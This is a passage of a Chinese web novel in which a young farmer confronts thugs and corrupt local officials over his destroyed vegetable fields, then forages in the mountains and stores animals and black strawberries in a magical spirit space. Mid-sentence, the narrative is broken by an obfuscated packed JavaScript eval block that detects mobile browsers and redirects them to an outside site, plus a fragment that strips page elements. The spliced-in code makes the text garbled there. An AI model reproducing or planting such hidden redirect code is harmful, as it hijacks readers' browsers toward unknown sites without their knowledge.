“思雨，折腾一夜了，你先回去好好休息。”莫天扬对刘思雨说道。 待刘思雨离开，胡标立刻上前，语气沉重：“天扬，到底怎么回事？查出来是哪路人马了吗？” “还不清楚，先看看那边怎么说吧。”莫天扬沉声道。 “天扬，”胡标凑近些，压低声音，“早上你休息的时候，有一拨人想来把铲车开走，气势汹汹的，被海龙他们带人硬生生拦下了！” “那铲车是重要证据！绝不能让他们弄走！”莫天扬语气斩钉截铁。 又聊了几句现场情况和后续安排，胡标看着莫天扬布满血丝的眼睛，劝道：“天扬，你这一晚上没合眼，先去歇会儿，这边有我们盯着，出不了乱子。” …… 不知睡了多久，一阵急促而带着警告意味的低吼声将莫天扬瞬间惊醒！是大青！他从这吼声里听出了强烈的不安和威胁！ 莫天扬一个翻身起来，顾不上洗漱，拉开门就冲了出去。 眼前的景象让他瞳孔骤然收缩——只见昨天那辆大铲车停放的区域，此刻竟围了黑压压一群人，胡标、陈峰、王海龙等人都在，正与另一伙人对峙，气氛剑拔**张！ “大青，走！” 莫天扬低喝一声，快步上前。大青发出一声穿透性的嘹亮长啸，瞬间压过了现场的嘈杂。 所有人为之一静，齐刷刷转头看来。陈峰、胡标等人脸上顿时露出了找到主心骨的激动。 “标叔，怎么回事？”莫天扬沉声问道，目光却已锐利地扫向对面那十几个统一戴着口罩和帽子、一看就绝非善茬的人。 “天扬，你来了就好！他们非要强行把铲车开走！”胡标指着那伙人，气愤地说道。 莫天扬抬眼，冰冷的目光锁定了对方为首那人：“你们知道这辆车为什么会在这里吗？知道它昨晚干了什么吗？” 一个像是头目的人站出来，语气蛮横：“老子的车，老子能不知道？这车昨天被偷了！有人告诉我们车在这儿，我们过来开走，天经地义！怎么了？” “怎么了？”莫天扬怒极反笑，声音陡然拔高，指着周围被铲得一塌糊涂的菜地，“你们**眼瞎了？看不见老子的菜地被它祸害成什么样了？一句轻飘飘的‘车被偷了’就想把车开走，毁灭证据？你们当我是三岁小孩？！” “**的！老子管你那么多！这是我的车，我就要开走！怎么，你还想明抢不成？”那头目也恶狠狠地叫骂起来。 莫天扬点了点头，眼神中的寒意几乎能冻裂空气：“我看你们就是昨天半夜跑掉的那群杂碎吧？还真有胆子回来！标叔，报警！今天这些人，一个都别想跑！” 说着，他侧头看向身边蓄势待发、獠牙微龇的大青，声音不高却带着不容置疑的命令： “大青，看好了！等下谁敢动一下，或者想逃跑，往死里咬！” 大青喉咙里发出低沉的咆哮，獠牙毕露，眼中凶光毕露，死死锁定了那伙人。陈宏利带着几个年轻小伙立刻逼上前去，王海龙和李国强则默契地移动脚步，一左一右卡住侧翼，形成了包围之势。 刚才还气焰嚣张的一伙人，眼见对方动了真格，瞬间怂了，气势萎靡下来。“你…你们要干什么？我…我手续齐全，这车真是我的！”为首那人声音发颤，慌忙辩解。 莫天扬嗤笑一声，语气里满是嘲讽：“刚才跟你们讲道理，你们要耍横。现在跟你们来硬的，你们倒想起来要讲道理了？继续狂啊，怎么不狂了？” “小兄弟，误会，真是误会！这车它确实是我的……”那人试图缓和气氛。 “有什么证据，留着跟执法者说去吧！”莫天扬毫不客气地打断他，随即转头吩咐：“宏利，把他们的脸都给我录清楚，一个也别漏！” 此时，围观的村民们也终于从只言片语中拼凑出了真相，原来天扬家菜地一夜之间被毁成那样，就是这伙人干的！ 消息像风一样传开，**过来的村民越来越多，群情逐渐激愤。莫天扬为村里做了多少事，大家都看在眼里。此刻得知竟是这些人来肆意破坏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191890|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒的情绪瞬间被点燃。 村民们自发地围拢过来，一道道愤怒的目光像是无形的墙，将那十几个人死死困在中间。那伙人彻底慌了神，一个个蹲在地上，抱着头，连大气都不敢出。 差不多过了一个小时，执法车辆才姗姗来迟。更引人注目的是，车上下来的除了穿制服的，还有三个穿着便衣的中年男人。 胡标眼神一凝，凑到莫天扬耳边，声音压得极低：“天扬，那三个是乡里来的，中间那个是……” 莫天扬眼眸微缩，目光扫过那三人，心里立刻跟明镜似的——这是来说情和稀泥的。 “是谁报的警？”一位执法人员例行公事地问道。 莫天扬一步跨出，声音清晰而冷静：“是我。昨天深夜，有几十号人手持器械，到这里打砸破坏，毁了我十几亩即将上市的蔬菜。今天，这伙人又跑来，声称那辆作案用的铲车是他们的，企图强行开走毁灭证据。我高度怀疑他们与昨晚的恶性事件有直接关联……” 他话未说完，三个便衣中那个被簇拥在中间的中年人便笑着打断，语气异常温和：“你就是小莫同志吧？你看这里人多口杂，要不我们找个安静的地方，慢慢说？有些事情可能是个误……” 莫天扬直接打断了他的话，毫不退让：“有什么话，就在这儿，当着大家的面说清楚。” 那人脸色一僵：“你……” 旁边另一人赶紧打圆场：“小莫同志，别激动嘛，我们也是想来了解情况。你看，是不是这里面有什么误会？” “误会？”莫天扬冷笑一声，目光如冰锥般刺向说话的人，“谁家的误会会深更半夜开着铲车，跑到这鸟不拉屎的青木村来**？我不要任何调解，我只要一个结果：看到所有犯罪分子依法受到严惩！” 他顿了顿，声音陡然提高，目光扫过在场的所有执法人员和不请自来的说客：“另外，就在昨天晚上，我在乡里配合调查时，有两个身份不明的人闯进来威胁我，公然污蔑是我举报了青木村的违规挖沙！我要追加控告他们污蔑和诽谤！昨天的打砸、今天的**、昨晚的威胁，所有过程我都留有完整的录音和视频证据！” 他环视一圈，看着对方几人骤变的脸色，一字一句地斩断他们的所有幻想：“如果这件事不能得到公正的处理，如果那些幕后指使者得不到应有的惩罚，我不介意将所有的证据、所有的过程，原原本本地放到网络上！让所有人都来看看，评评这个理！” 这番掷地有声的话，像一记重锤，让那三个乡里来的中年人和带队的执法人员脸色瞬间大变！他们确实是带着“息事宁人”的任务来的，却万万没料到，这个年轻的农民如此硬气，手段如此周全，根本不留任何转圜的余地！ “小莫，你冷静点，凡事好商量……”中间那人还想做最后的努力。 莫天扬却再也不看他们一眼，目光直接转向带队的执法人员，语气不容置疑：“这些人，你们现在可以带走了。加上昨天你们带走的三十二个，参与打砸的至少四十八人！我会密切关注案件进展，等待官方的处罚通知，以及——最终是谁在背后指使他们的明确答复！” 说完，他不再给任何人开口的机会，转身朝着不远处等候的小白吹了声口哨。 “小白，走！咱们进山转转。” 第一百三十四章黑色草莓 莫天扬丝毫不留回旋余地的强硬态度，让那些人准备好的一套说辞全都憋在了肚子里，只能悻悻地将那伙人押上车带走。 简单地收拾了下行囊，莫天扬提着背包刚出门，就被在外面等候的胡标、陈峰几人围住了。 “天扬，你还真要进山？”胡标看着他的装备，忧心忡忡地问。 莫天扬回头望了眼菜地里那台扎眼的铲车，语气平静却带着决绝：“他们的意图再明显不过，就是想方设法把这事压下去。一旦被他们得逞，后续只会有无穷无尽的麻烦。我不想再对着那些虚伪的嘴脸浪费口水，进山里透透气，图个清静。” “可这样一来，就等于彻底撕破脸了，把你自己的路走窄了啊，这对你往后在乡里的发展没有一点好处。”陈峰急着劝道。 “标叔，”莫天扬看向这位老支书，声音不高却异常坚定，“咱们青木村穷了多少辈子了，他们上面的人，谁真心实意为村里做过点什么？一味的忍让妥协，换来的只会是得寸进尺。这事您几位就别劝了。大不了，以后我就守着我那几十亩沙地，过我的安生日子。” 胡标当了半辈子村支书，对这里面的门道再清楚不过。莫天扬回来种地才多久？可落在他身上的风波却一桩接一桩，这些事，足够很多老实巴交的农民经历几辈子了。这孩子不过是想带着大伙儿踏踏实实把地种好，过上好日子，可结果呢…… “唉，”胡标重重叹了口气，知道再劝不动，“那……你自己在山里千万小心点。” “嗯，”莫天扬点头，“如果他们再派人来开车，不用硬拦，让他们开走就是了，反正咱们手里有视频证据。但如果他们还敢来找事，大伙儿都冷静点，别正面冲突，一切等我从山里回来再说。” 送走了胡标几人，莫天扬刚想招呼大青，一道白影却抢先窜到跟前——是小白。它亲昵地在他腿边蹭来蹭去，尾巴摇得欢快。 莫天扬不由哈哈一笑，俯身用力揉了揉小白的脑袋：“行，今天也带你出去撒个欢！” 一进入苍茫的青木山，第一次深入山林的小白简直如同回到了乐园，彻底放飞了自我。它身影如电，在灌木草丛中时隐时现，莫天扬经常一转眼就找不到它的踪影。但神奇的是，小白每次兴奋地跑回来，除了身边几头保驾护航的青狼，它停留的地方，必定会伴生着一株外界难寻的珍稀药草。 将一株刚刚发现、灵气盎然的“三叶青莲”小心收入空间，莫天扬笑着拍了拍小白的脑袋：“小白，你真是我的福星！” 小白得意地冲他龇了龇牙，转身又“嗖”地一下钻进了前方茂密的胡杨林。莫天扬笑着摇摇头，这一次进山，主导行程的俨然变成了这只兴奋的小家伙。 身边有大青和狼群护卫，莫天扬倒不担心迷路。只是小白专挑林木最密集、根本没有路的地方钻，他身上的衣服可就遭了殃，被树枝刮得嗤嗤作响。 “嗷呜——嗷嗷——” 忽然，一阵独特的、带着兴奋的狼嚎声从不远处的山坳里传来。 莫天扬心中一动，看向身边的大青：“走，大青，过去看看，小白又发现什么好东西了。” 快步穿过一片密集的胡杨林，眼前豁然开朗，是一处植被异常丰茂的山坳。刚踏入山坳，莫天扬便愣住了。 只见小白和七八头青狼，正形成一个松散的包围圈，将一小群约十几只黄羊困在了一片相对开阔的草地上。 令人动容的是，或许是感知到末日降临，几只成年的黄羊竟将六只明显是幼崽的小黄羊紧紧护在中间，它们自己则前腿弯曲，齐齐地跪在了地上！抬起头望向狼群和走来的人类，那双双温顺的大眼睛里，没有反抗，只剩下无尽的哀求和恐惧，甚至能清晰地看到滚圆的泪珠从眼角滑落，打湿了脸上的绒毛。 这一幕，狠狠撞中了莫天扬的心脏。他从未想过，会在山林里亲眼目睹如此悲壮又通人性的场景。 看着走近的莫天扬，那头跪在最前方、体型最大的公黄羊，竟朝着他发出了几声哀戚的低鸣，眼中的泪水流得更凶了。 莫天扬深吸一口气，压下心头的震动。他原本打算直接让青狼散开，放这群可怜的黄羊一条生路。 但下一刻，一个念头猛地闪过他的脑海——灵泉空间里那片日益广阔的陆地！ 灵泉水域能够滋养各种水族，那这片蕴含着无尽生机的土地，既然能让植物逆生长，是不是……也能让动物生存繁衍？ 想到这儿，莫天扬心中一阵激动。他缓步走向瑟瑟发抖的黄羊群，缓缓摊开手掌，心念微动，一丝丝清冽甘甜的灵泉水在他掌心汇聚。 惊慌失措的黄羊们似乎嗅到了这充满诱惑的生命气息，骚动渐渐平息。领头的那只公黄羊犹豫着，试探性地伸出舌头，轻轻舔舐了一下。 霎时间，莫天扬清晰地看到，它那双原本充满绝望泪花的眼眸里，猛地迸发出一种难以言喻的、充满生机与渴望的光彩！ 他依次给每一只黄羊都喂了一点灵泉水。感受到这神奇液体的滋养，黄羊们眼中的恐惧渐渐被温顺和依赖取代。 莫天扬不再犹豫，他伸出手，轻轻放在那头公黄羊的头上，心念一动—— 唰！ 体型不小的公黄羊瞬间从原地消失！ 紧接着，是第二头，第三头……很快，整个黄羊群，连同那六只小羊羔，全都被他送入了神秘的灵泉空间。 就在最后一只黄羊进入空间的刹那，莫天扬感到胸口处的玉佩印记骤然散发出一阵明显的温热感！ 这熟悉的征兆让他心头大喜！灵泉空间过去的几次扩张和蜕变，都伴随着类似的感应。这无疑证明了他的猜想是正确的——灵泉空间，完全可以容纳活物生灵！ 一个更加广阔的蓝图在他心中展开。他按捺住激动，看向忠诚的大青，声音都带着一丝兴奋： “大青，招呼大家，多抓些野味——记住，要活的！” 青狼群四散开来，依照命令去搜寻活着的野味。莫天扬自己也没闲着，这片区域是小白引领他来的，草木异常繁茂，生机远超别处，他心中隐隐觉得，这里或许藏着什么不寻常的机缘。 他在及腰深的茂密草丛和灌木丛中小心穿行，目光如同最精细的筛子，仔细掠过每一寸土地，不放过任何一株未曾见过的奇异植物。 忽然，他身形猛地一顿，目光被不远处一片翠绿中的点点深邃黑色牢牢吸引。 他拨开半人高的野草，眼前景象让他呼吸一窒，心中涌起难以抑制的激动——那是一大片蔓延的藤蔓，生着墨绿色的心形叶片。而在层层绿叶之间，垂挂着一颗颗鸽蛋大小的果实。那些果实通体漆黑，宛如上好的墨玉雕琢而成，更奇特的是，黑亮的果皮上，还均匀分布着细小的、如同白芝麻般的斑点。果实形状亦是完美的心形，神秘而诱人。 “草莓？可……怎么会是黑色的？” 莫天扬在南方求学四年，为了生计奔波，虽没多少闲钱品尝，但对这种常见水果绝不陌生。他见过的所有草莓，无一不是或深或浅的红色。 他蹲下身，仔细察看。很快，他就在附近发现了几颗已经被啃食过半、开始腐败的黑色果实。看到这个，他眼前顿时一亮！ 他对山里的植物或许不熟，但山林里的动物就是最好的检验师。如果这果实有毒，绝不会有动物去碰。现在既然有明显的啃食痕迹，就足以证明这黑色的草莓至少是无毒的！ 为了确认，他又在周围仔细搜寻了一番，果然又发现了另外几片生长着黑草莓的地方，也看到了更多被鸟兽啄食过的果实。这下，他彻底放心了。 他小心翼翼地摘下一颗饱满的黑草莓，放入口中，轻轻一咬。 刹那间，一股难以言喻的滋味在他口中爆开！莫天扬的眼睛瞬间亮得惊人！ 这虽是野生草莓，但其口感之美妙，远超他记忆中任何一款市售草莓！果肉细腻无渣，汁水充沛至极，甜味浓郁而纯粹，却又带着一丝野果特有的微酸，巧妙地平衡了口感，让人回味无穷。最令他惊异的是，就连里面的果肉，也呈现出一种深邃的、均匀的暗紫色近乎黑色！ **移栽！** 市场上从未出现过、口感又如此惊艳绝伦的黑草莓！这巨大的机遇，莫天扬怎么可能错过？ 他立刻动手，小心翼翼地将一株株健壮的黑草莓连根带土挖起，心念转动间，将它们一一送入灵泉空间那片沃土之中。 随着又一株草莓在空间内扎根，他胸口的玉佩印记再次清晰地传来一阵熟悉的温热感，甚至比之前更加明显！ 莫天扬也没有理会灵泉空间的变化，他深吸口气，目光如电扫视周围，他想要看看还能不能找到其他机缘。 第一百三十五章纸包不住火 莫天扬在青木山中寻觅机缘的同时，浅驼县执法局的会议室内，气氛却凝重得几乎让人窒息。长条会议桌旁坐满了人，个个脸色铁青，不少人更是坐立不安，目光频频瞟向那扇紧闭的橡木大门，仿佛在等待最终的审判。 “咔哒。” 门锁轻响，打破了令人难堪的沉默。几个人面色严肃地鱼贯而入，会议室内的所有人如同触电般齐刷刷站了起来。当他们看清为首几人的阴沉脸色时，心更是沉到了谷底。 来人落座，一位五十多岁、气场威严的中年男子深吸了一口气，目光如炬，直接锁定在一位名叫陈州的身上：“陈州，你来说明一下，昨晚青木村事件的详细情况！” 被点名的陈州身体微不可察地一颤，硬着头皮开口，试图延续之前的“定调”：“领导，经过我们初步了解，昨夜的事件……主要是一个误会。是有个别人因为之前青木村沙场停工，没能拿到工资，酒后一时冲动，偷开了一辆铲车，带了点人过去闹事。造成了一小片菜地损毁和几块玻璃破损。目前乡里已经在积极安抚、协调赔偿，我们一定会尽全力，把这件事的影响控制在最小范围……” “胡闹！” 话未说完，坐在主位旁的另一位中年男子猛地一拍桌子，震得茶杯都跳了起来！他霍然起身，怒视着陈州，声音因愤怒而微微发颤：“一小片菜地？几块玻璃？！那是十多亩眼看就要收获的菜地被彻底铲平！是工人宿舍的门窗被砸得稀烂！是几十号手持棍棒的歹徒深夜打上门去！光是被当场摁住扭送过来的就有三十二个！更恶劣的是，乡里竟然还派人去威胁苦主，调解不成竟然口出狂言，要让人家‘牢底坐穿’！你们管这叫小事？啊？！” 这一通雷霆之怒，让整个会议室瞬间鸦雀无声，落针可闻。所有人的脸色变得更加难看，冷汗悄然浸湿了后背。 在场的人谁不知道昨晚送来了多少人？他们中的绝大多数，原本都心存侥幸，觉得不过是偏远山村的一起纠纷，凭借手中的权力总能压下去，却万万没想到，事情这么快就捅到了天上去，引发了如此震怒！ “王书记，您息怒，情况可能没那么严重…”陈州还试图辩解，“车辆确实是被盗开的，车主已经去找对方赔礼道歉了，承诺承担所有损失。乡里也派了得力人手去处理，相信很快就能圆满解决……” “圆满解决？拿什么解决？拿你的官帽子去解决吗！” 王书记厉声打断，目光扫过全场，“你们真当所有人都是傻子？人家手里握着完整的录音、录像证据！威胁不成现在又想和稀泥？你脑子是不是进水了！今天早上，又有一批人更加嚣张地想去强行开走作案车辆毁灭证据，已经被人家当场扣下了！这件事如果得不到公正彻底的解决，你们就都回家抱孩子去吧！还有，乡里是哪个混蛋散播谣言，说是莫天扬举报违规挖沙的？现在人家揪住这点不放，要追究污蔑诽谤的责任！” “什么？！追究责任？！” 这话如同平地惊雷，炸得所有人脸色煞白，再也无法保持镇定。他们完全能想象，如果这件事被对方抓住不放，并且将所有证据公之于众，将会引发何等恐怖的舆论海啸，其严重性足以摧毁他们任何一个人的前途！ “我…我亲自去一趟青木村！我去当面和莫天扬沟通，一定妥善解决！”陈州急忙表态，声音带着慌乱。 “现在知道怕了？早干什么去了！”王书记丝毫不留情面，“人家在你们乡里被晾了三个多小时！还有两个不长眼的蠢货跑去威胁！今天上午你们的人还在继续耍横逞威风！你现在去？你去干什么？是继续威胁，还是干脆把人抓起来啊？！” “不敢，不敢！绝对是下面的人做事糊涂，方法极端！我是去诚恳道歉，寻求他的谅解……” “去哪儿找？去青木山！”王书记冷声道，“莫天扬已经进山了！他现在摆明了态度，不要口头道歉，就要看实实在在的处理结果！如果结果不能让他满意，你们就洗干净屁股，等着把牢底坐穿吧！” 一瞬间，会议室彻底炸开了锅，恐慌和后悔的情绪在每个人心中蔓延。事情刚发生时，他们都以为对方不过是个没什么背景的种地农民，随便动动手指就能拿捏。 谁能想到，对方根本不按常理出牌，态度如此强硬，手段如此果决，直接选择了最激烈的对抗方式。这要是真把所有证据捅到网上，他们之中绝对有人要丢了工作，甚至真的难逃法律制裁！ 意识到事情的严重性远超想象，所有人都将哀求的目光投向了主位上的王书记和他身边那位来自更高层级的中年领导。 “陈州！”那位一直沉默的中年终于开口，声音不高，却带着不容置疑的威严，“把事情的原委，一五一十地说清楚。到了这个时候，如果再有任何隐瞒，天上地下，没人能救得了你。” 陈州面如死灰，知道再也无法遮掩，他艰难地看了眼王书记，声音干涩地坦白：“这件事…还得从青木村基本农田被违规挖沙说起…那些采沙的人，一口咬定是莫天扬举报才导致他们被查，损失惨重，所以才纠集了人手想去报复…没想到莫天扬那边…太厉害，被抓了那么多人…他们这才慌了神，通过各种关系找到我们，希望…希望能把事情压下去，调解成普通的治安纠纷…” “败类！你们这群害群之马！” 王书记再次拍案而起，怒不可遏地指着以陈州为首的一干人：“为了点蝇头小利，为了所谓的人情关系，你们就敢如此颠倒黑白，去打压一个连市里都高度重视的创业青年！你们就等着接受组织的严肃处理吧！” “王书记…领导…那…那接下来我们该怎么办……” “怎么办？”王书记目光冰冷地扫过他们，“如果你们还想保住身上这层皮，还想端住这个饭碗，就立刻、马上，给老子实事求是，依法依规，严肃处理！该抓的抓，该查的查，该赔的赔，给人家一个清清楚楚、明明白白的交代！否则，一旦莫天扬把所有的证据链都放到网上，形成舆情，到时候，天王老子也保不住你们！” 青木山深处，正低头寻觅的莫天扬猛地打了个喷嚏。他不由失笑摇头——自获得灵泉空间以来，身体强健远超常人，连感冒都未曾有过，这突如其来的喷嚏，倒让他觉得有些蹊跷。 他环顾四周，这片草木异常丰茂的山洼几乎已被他踏遍。山果见了不少，却都是些寻常野果；倒是发现了数种灵泉空间里尚未收录的药草，也算小有收获。只是，他心中隐隐期盼的那份“大机缘”，却依旧不见踪影。 不远处一片空地上，大青、小白领着十几头青狼，竟自发围成了一圈。圈子中央，赫然聚集着一批受伤的动物——扑腾的山鸡、瑟缩的野兔、瘸腿的黄羊，甚至还有两只哼哼唧唧的小野猪和三只怯生生的小狍子。它们安静地待着，仿佛通晓人意，知道莫天扬要将它们带去一个安全的地方。 知晓灵泉空间的神异，莫天扬不担心这些动物进去无法存活，却开始忧虑另一件事——这些家伙若是在里面撒起欢来，他那片辛辛苦苦种下的蔬菜和庄稼可就遭殃了。 “大青，”他转头吩咐，“挑几个机灵稳重的，让它们先进空间，替我看住这些新来的。别让它们把里面的菜地给祸害了。” 大青低吼一声，像是在下达命令。立刻有四头最为雄健的青狼出列，步伐沉稳地走到莫天扬身边，眼神温顺而坚定。莫天扬心念一动，将它们率先送入了空间。 接着，他将所有受伤的动物一一送入空间安置。做完这一切，他拍了拍小白的脑袋：“走吧，伙计，我们再往前探探。” 当他翻过一道草木葱茏的山梁时，一阵细微却清晰的“潺潺”流水声传入耳中。莫天扬心头一动——他进出青木山次数不少，深知此地干旱，溪流极为罕见。 他正欲循声而下，前去探查，天色却骤然剧变！方才还湛蓝晴朗的天空，瞬间被一团浓墨般的乌云吞噬，豆大的雨点劈头盖脸地砸了下来，顷刻间便成了瓢泼大雨。幸好有心念相通的灵泉空间作为庇护所，他才得以从容避入，免于成为落汤鸡。 置身于空间之内，莫天扬目光扫过，并未立刻看见那些刚送进来的动物，倒是先瞧见那四头先进来的青狼，正悠闲地趴在那片血瓜地里，惬意地啃食着熟透的血瓜。他笑了笑，并未干涉，转身便走向新开辟的黑草莓区。 灵泉空间的神奇效力再次显现。不久前才移栽进来的数十株黑草莓，此刻已然繁衍成一片近一亩地的茂盛莓园！墨绿的心形叶片层层叠叠，却根本掩不住其下那密密麻麻、累累下垂的黑色果实。 最让莫天扬呼吸急促、心跳加速的是——这些经过空间滋养的黑草莓，个头竟从原来的鸽蛋大小，普遍长到了接近鸡蛋大小！一个个乌黑发亮、饱满润泽，宛如完美的黑宝石雕琢而成，这等品相和个头，若放在外界市场，绝对是金字塔尖的顶级精品！ 他忍不住伸手摘下一颗最大的，小心地咬了一口。 “噗嗤！” 深黑色的果浆瞬间在口中迸裂开来，甘甜浓郁的滋味如同最醇厚的蜜，紧接着，一丝极其微妙的、野性十足的果酸味悄然泛起，完美地中和了甜腻，带来层次无比丰富的绝妙口感。 这滋味，简直无法用言语去形容！莫天扬看着眼前这一片望不到边的黑色莓海，心中瞬间被巨大的喜悦和期待填满——一旦将这种独一无二的黑草莓成功推广出去，将会在外界引起怎样轰动的反响？ 第一百三十六章野生黄鳝 摘了不少饱满的黑草莓，莫天扬一边品尝着这空间孕育的绝妙滋味，一边在新拓展的小岛上信步闲逛。他能清晰地感觉到，脚下的土地范围又扩大了，只是放眼望去皆是一片生机勃勃的绿意，一时也难以判断具体增广了多少。 自幼生活在青木山下，他深知这山里的雨来得急、去得也快，多为局部性降水。在灵泉空间内停留片刻，估摸着外面雨该停了，他便心念一动，离开了空间。 果然不出他所料。此刻头顶的天空已是碧蓝如洗，烈日当空，仿佛刚才那场瓢泼大雨从未发生过。唯有脚下泥泞湿滑的山路、以及草木叶片上缀着的颗颗晶莹雨露，无声地证明着那场骤雨的存在。 他拄着那根油光水滑的木棍，小心地走下湿滑的山梁。然而，山下的景象却让他停住了脚步——只见一条因雨水汇聚而成的临时洪流正奔腾而下，水势颇为汹涌。莫天扬不清楚上游区域的降雨量究竟有多大，不敢轻易涉险渡水，只得就近找了一棵枝叶茂密的大树，在树下耐心等待。 直到山洪势头渐弱，水色虽依旧浑浊但已不再骇人，莫天扬这才小心翼翼地靠近溪边。看着泛着黄泥色的溪水，他无奈地摇摇头——这个能见度，水里就算有什么宝贝也根本看不见。 他不甘心就此放弃，便沿着溪流向上游走去。刚走出不过几十米，目光扫过一片被水流冲倒的草丛时，他眼前猛地一亮！ 只见浑浊的水边，有两道金黄色的细长身影在草根和水隙间敏捷地扭动穿梭！ “黄鳝！而且是纯野生的！” 莫天扬心头瞬间被巨大的惊喜填满。黄鳝在南方水乡常见，但在气候干燥的北方却堪称稀罕物，尤其是深处西北内陆的青木山，更是难觅其踪！然而其肉质的细腻与滋味的鲜美，绝对是河鲜中的顶级存在。关于青木山溪流中隐藏着野生黄鳝的传说，他还是小时候从爷爷莫啸那些百听不厌的故事里得知的。 强压住内心的激动，他弯下腰，眼疾手快，很快便将那两条活力十足的金黄鳝鱼送入了灵泉空间。胸前印记传来的温热感确认了空间对它们的接纳。他知道，有了灵泉水的滋养，它们必然能繁衍壮大。 但他并未就此满足，因为他记得爷爷的故事里还提到过，在有黄鳝出没的青木山深涧里，或许还潜藏着一种只存在于传说里的、更为珍稀的顶级美味——通体宛如紫玉的“紫鳝”！ 怀揣着这份期待，他沿着溪流仔细搜寻了十多分钟，又陆续找到了十几条大小不一的黄鳝，却始终未见那梦幻般紫色的踪影。最终，他只能略带遗憾地直起身，长长叹了口气。 稍作歇息，他再次弯腰，打算继续向前探索。然而，就在他绕过一丛极其茂密的灌木后，全身的血液仿佛瞬间凝固了！ 心脏猛地一缩——他看到下游不远处的一片浅滩边，黑压压地聚集着数十头体型壮硕的野猪，正低头饮水，粗壮的獠牙在阳光下反射着令人心悸的寒光！ 野猪虽是杂食动物，时常沦为青狼的猎物，但莫天扬心里清楚，自己身边这十多头青狼，绝对无法正面抗衡如此庞大且暴躁的野猪群！尤其是那些护崽的母野猪和体型巨大的公猪，攻击性极强。 没有任何犹豫，他当机立断，屏住呼吸，悄无声息地向后退去。通灵性的大青和狼群也深知危险，它们没有发出挑衅的咆哮，只是簇拥在莫天扬身边，警惕地面对着野猪群的方向，喉咙里发出低沉而充满警告意味的吼声，缓缓后退。 或许是狼群的存在形成了威慑，也或许是野猪们刚刚饮饱了水，猪群虽然出现了一阵骚动，几头公猪焦躁地刨着蹄子，发出“哼哧”的威胁声，但最终并没有发动攻击，任由莫天扬在狼群的护卫下，安全地退入了密林之中。 一直紧张地退出十几分钟的路程，感觉彻底安全了，莫天扬才敢停下来，靠在一棵树干上大口喘气。这时，他才惊觉自己的后背早已被冷汗彻底浸透。 他掏出手机看了眼时间，又回头望了望那片依旧传来隐隐水声的溪流方向，用力摇了摇头，仿佛要甩掉那份后怕。 “大青，小白，记住这个地方。”他拍了拍身边最忠实的伙伴，“咱们今天先回家。” 当莫天扬一行人拖着大袋小袋回到青木村时，天色已然擦黑。村民们看到提着各种袋子、扛着猎物的陈宏利和王海龙几人，还没什么反应，可等看到跟在他们身后、模样颇为狼狈的莫天扬时，不止是胡标、陈峰，连莫啸老爷子都愣住了。 只见莫天扬身上的衣服被刮出了好几道口子，沾满了草屑和泥点，活像是在山林里滚了一圈。 “天扬，你…你这是钻了多少荆棘窠子啊……”莫啸老爷子看着孙子这身打扮，又是心疼又是好笑。 莫天扬却浑不在意地嘿嘿一笑：“今天去的那片地方草木太密了，枝枝杈杈的躲不开。不过运气好，找到了些真正的好东西，大家都来看看！” 自从莫天扬开始创业，除了他自己，山里的青狼群也时常会叼些野味送来，所以现在大家对普通野味早已见怪不怪。众人的目光都好奇地投向那几个鼓鼓囊囊的袋子。 莫天扬打开的第一个袋子里，金灿灿、圆滚滚的果子让陈宏利这些年轻人一时没认出来，而胡标、陈峰等年长些的，却瞬间瞪大了眼睛！ “这…这是……”胡标难以置信地抓起一把，快步送到莫啸面前，声音都带着一丝激动，“莫叔，您快看看，这是不是那东西？” 莫啸接过几颗果子，仔细端详着那金黄中带着一丝绛红的色泽，又凑近闻了闻那独特的清香，精神猛地一振，抬眼看向孙子，语气带着难以置信的惊喜：“天扬！这…这金银枣！你是在哪儿找到的？” “今天运气好，在一片老林子里撞见了这么一棵野枣树。”莫天扬笑着解释，又对大家说，“等下大家吃了，记得把枣核都留下来，这品种金贵，将来咱们或许能自己种。” “天扬，这又是什么？”陈宏利好奇地指着另一个紧紧扎着的袋子。 “打开看看。”莫天扬示意。 随着袋口解开，周围瞬间响起一片倒吸凉气的声音！连刚刚走过来的刘思雨和颜若曦也忍不住凑上前，当看到袋子里那些个头惊人、黑得发亮如宝石般的草莓时，两人同时掩口发出了一声低呼。 “这草莓……怎么是黑色的？！” “什么？黑色的草莓？！”这一次，连见多识广的莫啸也坐不住了，他年轻时也是山里的常客，金银枣倒也见过几次，可这黑色的草莓，简直是闻所未闻！ “爷爷，您看！”颜若曦小心地捧了几颗黑草莓过来。曹建华等围过来的村民看着那鸡蛋大小、乌黑润泽的果实，个个瞪大了眼睛，脸上写满了震撼。 “这东西……也是山里长的？” “嗯，就在发现金银枣的那片区域附近找到的。”莫天扬点头。 听到这话，别说胡标等人，就连莫啸都不住地摇头感叹。想当年他们也没少钻山沟，可谁曾有过天扬这样逆天的运气？每次进山，似乎总能带回些意想不到的惊喜。 “先吃饭，先吃饭！”莫啸老爷子发话，“好东西跑不了，吃了饭再慢慢收拾。” 饭桌上，莫天扬问起村里的事：“标叔，今天村里没什么事吧？” “平静得很，从你走后，再没人来找过茬。” 刘思雨接过话，语气带着一丝振奋：“天扬，我听到朋友传来的消息，说今天县里为昨晚的事专门召开了紧急会议，是王书记亲自主持的，会上不少人被点名严厉批评。王书记要求成立专案组，彻底调查这件事。想必这一两天内，就会有一个明确的结果出来。” “思雨，可别再像上次租地那事一样，雷声大，雨点小。”有人带着疑虑说道。 刘思雨看了眼莫天扬，肯定地说：“标叔，上次顶多是土地纠纷，这次可是持械毁坏财物、威胁人身安全，是刑事犯罪！性质完全不同。这要是压不住被捅出去，不知道多少人要倒霉。他们这次，未必还敢捂盖子。” 胡标闻言，轻轻叹了口气，看着莫天扬，眼神复杂：“天扬这孩子，也太不容易了。好不容易折腾出点样子，怎么就摊上这么多事儿……” 莫天扬却只是淡淡一笑：“主要是我这人轴，不懂变通，不肯给他们发财的机会，挡了人家的路罢了。” 